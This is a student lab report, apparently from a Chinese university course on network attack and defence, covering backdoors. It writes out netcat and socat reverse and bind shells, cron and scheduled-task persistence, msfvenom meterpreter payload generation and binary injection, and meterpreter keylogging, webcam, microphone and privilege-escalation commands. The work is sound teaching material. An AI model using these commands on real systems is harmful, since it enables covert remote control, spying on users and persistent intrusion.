首页 > 其他分享 >20222404 2024-2025-1《网络与系统攻防》 实验二

20222404 2024-2025-1《网络与系统攻防》 实验二

时间:2024-10-23 18:59:17浏览次数:1  
标签:后门 exe 8888 主机 虚拟机 2024 2025 20222404 输入

1.实验内容

(一)本周课程内容
了解后门概念,了解后门案例,后门会对系统安全造成的影响。
对后门技术进行普及,包括各种进程隐藏技术。了解netcat、meterpreter,veil等常见工具。
进一步学习shellcode注入的逻辑和多种情况。
(二)问题回答
(1) 例举你能想到的一个后门进入到你系统中的可能方式?

  • 通过社会工程学手段诱导用户点击恶意链接或下载附件,进而安装后门,通过恶意软件利用漏洞进入。
    (2)例举你知道的后门如何启动起来(win及linux)的方式?
  • nc ip port -e 指定端口建立连接。
  • 使用socat连接
    (3)Meterpreter有哪些给你映像深刻的功能?
  • 强大的远程操纵能力,比如查看目标主机的系统信息、网络配置、用户信息等,在目标主机上执行各种命令或程序。
    (4)如何发现自己有系统有没有被安装后门?
  • 使用防病毒软件或安全工具对系统进行全面扫描,查找已知后门的特征。
  • 定期进行系统安全扫描,检查系统是否存在异常。

2.实验过程

(一)使用netcat获取主机操作Shell,cron启动某项任务
1.查看主机ip。在cmd中使用ipconfig命令。

可见本机主机为192.168.66.210
2.使用netcat进行连接并获取
虚拟机登录。
主机cmd进入ncat所在目录,输入指令:ncat.exe -l -p 666(端口号)
Linux虚机输入指令:nc 192.168.66.210 666 -e /bin/sh(nc即netcat,后面是要连接的ip和port,-e是指定连接后运行的程序shell。)
主机输入ls,正常会显示虚拟机下文件名,但因是中文版所以会输出乱码,证明主机成功获取。

3.设置cron使得kali启动定时任务
cron 是一个在Linux中的任务调度程序,允许用户在指定的时间间隔内运行预定义的命令或脚本。
进入r虚拟机,rontab -e (执行文字编辑器来设定时程表),选择的2:/usr/bin/vim.basic;

输入后进入文字编辑器,输入指令30 * * * * /bin/netcat 192.168.66.210 666 -e /bin/sh

编辑好后退出文字编辑器,输入crontab -l查看时程表,同时在Linux主机中的/var/spool/cron/crontabs文件中会出现一个root文件

回到主机cmd,与linux建立连接,输入:
echo "* * * * * echo "20222404" > /root/TEST/2404_1.txt" > /var/spool/cron/crontabs/root(每分钟定时执行一次,用“20222404”覆盖文件2404_1.txt)

(二)使用socat获取主机操作Shell, 任务计划启动
1.在主机进入socat所在文件的cmd,输入:socat.exe tcp-listen:8888 exec:cmd.exe,pty,stderr(把cmd.exe绑定到端口8888,并把cmd.exe的stderr重定向到stdout)
Linux虚拟机:进入root用户,输入命令:
socat - tcp:192.168.66.210:8888

2.返回主机,准备一个程序如下:

3.在Linux上启用Windows的程序,通过命令行创建任务计划,在shell里输入命令:
schtasks /create /sc minute /mo 1 /tn "20222404_zjy" /tr C:\nhhsh2\nhh_2.exe(每一分钟执行一次我写的这个程序:)
返回主机的计算机管理,可看正在运行的程序中有,实验成功。

(三)在Linux下使用MSF meterpreter生成可执行文件,利用ncat或socat传送到Windows主机并运行获取主机shell
1.关闭主机的所有保护措施,包括实时保护和各种杀毒软件和防火墙。

2.生成后门文件。
在虚拟机中输入ifconfig获取虚拟机ip地址。

msfvenom -p windows/meterpreter/reverse_tcp -a x86 --platform LHOST=192.168.47.128 LPORT=8888 -f exe > 2404backdoor.exe(使用msfvenom 工具生成一个反向 TCP Meterpreter shell 的 payload,并将其保存到一个可执行文件中。)
LHOST=192.168.47.128是shell 连接的主机 IP 地址,在本实验中是虚拟机的IP地址;
LPORT=8888是攻击者的系统上监听的端口号;
-f exe指定了生成的 payload 的格式,这里是exe;
2404backdoor.exe即生成的恶意可执行文件

3.将后门文件传输至目标主机
主机进入ncat所在目录下,输入指令:
ncat.exe -lv 8888 > "D:\2404backdoor.exe"(监听8888窗口等待接收可执行文件2404backdoor.exe,并将2221backdoor.exe文件存放在D盘)

拟机上输入指令:
nc 192.168.1.100 8888 < 2404backdoor.exe
成功接收文件

4.配置监听
回到虚拟机,在Kali终端输入命令msfconsole,然后对监听模块进行配置:
use exploit/multi/handler(使用监听模块,设置payload)
set payload windows/meterpreter/reverse_tcp (使用和生成后门程序时相同的payload)
set LHOST 192.168.47.128 (攻击机的IP地址,和生成后门程序时指定的IP相同)
set LPORT 8888(监听的端口)
exploit,使监听模块开始运行,并在Windows终端运行后门文件

返回检查虚拟机,输入ls查看windows主机目录

(四)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
1.获取目标主机音频、截屏、摄像头、键盘记录
在exploit模块中继续输入以下命令:
record_mic   (音频)
screenshot   (截屏)
webcam_snap (拍照)
keyscan_start (开始读取键盘记录)
keyscan_dump (读取键盘记录结束)

音频截屏和拍照被保存在root文档中

2.提权
确保windows的cmd指令是使用管理员身份运行的,继续在exploit模块中继续输入:
getuid (查看当前用户)
getsystem (提权指令)

(五)使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
1.在kali命令行下输入:
Msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.47.128
LPORT=8888 -x /root/TEST/pwn1 -f elf > 2404_pwn
(使用了msfvenom 工具生成一个 Meterpreter 反向 TCP shell的 payload,并将其注入到指定的可执行文件中,然后将结果输出到一个名为 2404_pwn的文件中。)
p linux/x86/meterpreter/reverse_tcp:指定要生成的 payload 类型。
LHOST=192.168.47.128:目标主机 IP 地址(为虚拟机设置后门)
LPORT=8888:设置 Meterpreter shell 使用的本地端口号为 8888。
-x /root/TEST/pwn1:指定一个可执行文件作为模板
-f elf:指定输出文件的格式为 ELF 格式,适用于 Linux 系统的可执行文件格式。

输入指令msfconsole,重现监听过程。打开另一个终端,运行生成的2404_pwn。返回第一终端,输入ls确认连接。

3.问题及解决方案

  • 问题1:MSF meterpreter生成后门文件不被windows主机识别,报错为“此应用无法在你的电脑上运行”,版本不相符问题。
  • 问题1解决方案:修改msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.47.128 LPORT=8888 -f exe > 2221backdoor.exe代码,加入字段“-a x86 --platform ”指x86的32位构架进行传输。
  • 问题2:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell,监听不成功。
  • 问题2解决方案:发现是执行监听命令的过程并非与之前任务完全一致,而是有

4.学习感悟、思考等

本次实验整体并未出现大问题。主要问题来自命令相对过长、以及需要正确区分合适使用虚拟机、合适使用主机的地址。此外,因为实验的一些相关配置较老,也出现了版本不符的问题。
实验过程中,我对netcat,socat等的使用有了事件操作和切身理解,使用Metasploit生成可执行文件,然后通过netcat传送至目标主机运行,我了解了后门的隐患和攻击的方式,当利用Meterpreter进行音频录制、屏幕截图乃至拍照的时候也真的令我吃了一惊。本次实验中,我对计算机安全有了更深的认识,增强了我的防范意识,锻炼了我的动手能力。

标签:后门,exe,8888,主机,虚拟机,2024,2025,20222404,输入
From: https://www.cnblogs.com/ancest06/p/18469931

相关文章

  • Adobe AN软件简介、下载与安装步骤【2024】
    目录一、AdobeAN软件简介1.1产品概述1.2主要功能1.3系统要求二、下载三、安装步骤3.1Windows系统安装3.2macOS系统安装3.3后续操作一、AdobeAN软件简介1.1产品概述AdobeAN,全称AdobeAnimate,是AdobeSystems公司开发的一款功能强大的多媒体创作和电脑动......
  • 【2024】Adobe AI(Illustrator)绘制和编辑、排版工具软件下载安装
    目录一、AdobeAI(Illustrator)软件发展历史1.起源与早期发展2.中期扩展与突破3.近期创新与融合4.下载链接二、AdobeAI(Illustrator)软件功能介绍1.矢量绘图与设计2.排版与出版3.图像上色与特效三、AdobeAI(Illustrator)软件系统要求1.操作系统与处理器2.内存......
  • 通过DevTools逃离Chrome沙盒(CVE-2024-6778和CVE-2024-5836)
    介绍这篇博文详细介绍了如何发现CVE-2024-6778和CVE-2024-5836的,这是Chromiumweb浏览器中的漏洞,允许从浏览器扩展(带有一点点用户交互)中进行沙盒逃逸。简而言之,这些漏洞允许恶意的Chrome扩展在你的电脑上运行任何shell命令,然后可能被用来安装一些更糟糕的恶意软件。攻击者......
  • 2024-10-23:最高频率的 ID。用go语言,给定两个长度相等的整数数组 nums 和 freq, 其中num
    2024-10-23:最高频率的ID。用go语言,给定两个长度相等的整数数组nums和freq,其中nums中的每个元素表示一个ID,而freq中的每个元素表示对应ID在此次操作后出现的次数变化。如果freq[i]为正数,则表示在这次操作中nums[i]的ID会增加freq[i]次;如果freq[i]为负数,则表示在这次操作中nums[i......
  • 2024小白YOLOv8环境配置
    目录前言一、PyCharm的安装1.下载 2.安装步骤二、配置YOLOv8的虚拟环境1.Anaconda中创建一个虚拟环境 2.Pycharm中使用虚拟环境(1)下载YOLOv8开源包(要挂梯子)(2)在设置中找到解释器,选择创建好的YOLOv8环境(3)配置终端的启动路径(4)启动终端,下载YOLOv8依赖包 (5)下载权重......
  • 剑来-2024秋软件工程第一小组项目展示
    |作业所属课程|班级的链接||---------|------------||作业要求|https://edu.cnblogs.com/campus/fzu/SE2024/homework/13290||作业的目标|开发一个基于LLM大模型接口的软件,为传统的软件赋予全新的体验和功能。||团队名称|银河战舰|......
  • 2024年智能CRM系统推荐:4个主流CRM系统AI能力分析
    人工智能相关应用在商用软件领域迅速发展,各大CRM供应商近年来发力AI,在个性化客户互动、预测性分析、智能工作助手等方面,在CRM中加入更智能、更实用、更高效的人工智能相关功能。本篇文章盘点智能CRM系统,介绍各大CRM厂商在探索AI方面的主要成果和卖点,为您选型智能CRM系统提供参考。......
  • 2024.6.18
    2024.6.18T1题面给定若干个自然数\(a_{1\simn}\)。你需要选出其中一些数,然后将你选出的数划分为若干个集合。你需要最大化每个集合mex的异或和,输出这个值。\(1\lea_i\len\le10^6\)解法找出所有的\(0\to1\to2\to\cdots\tox\)链,每一个链对应集合\(\{0,1,\cdots,......
  • 2024-10-22
    注释scribt的输出方式scribt的数据类型原始类型复合类型示例:Math函数Date函数document获取元素documengt.getElementsByTagName()documengt.getElementsByClassName()document.getElementsByName()document.getElementsById()decument.querySelector()d......
  • 2024.6.17
    2024.6.17T1题面有一个\(n\)个节点的联通图给出一个\(n\timesn\)的矩阵,其中\(a_{i,j}\)表示节点\(i\)与节点\(j\)之间的最短路,求原图的边权之和的最小值,如果不合法,输出\(-1\)\(n\le300,1\lea\le10^9\)解法我们先利用\(floyd\)跑一下,如果存在\(a_{i,k}+a_{......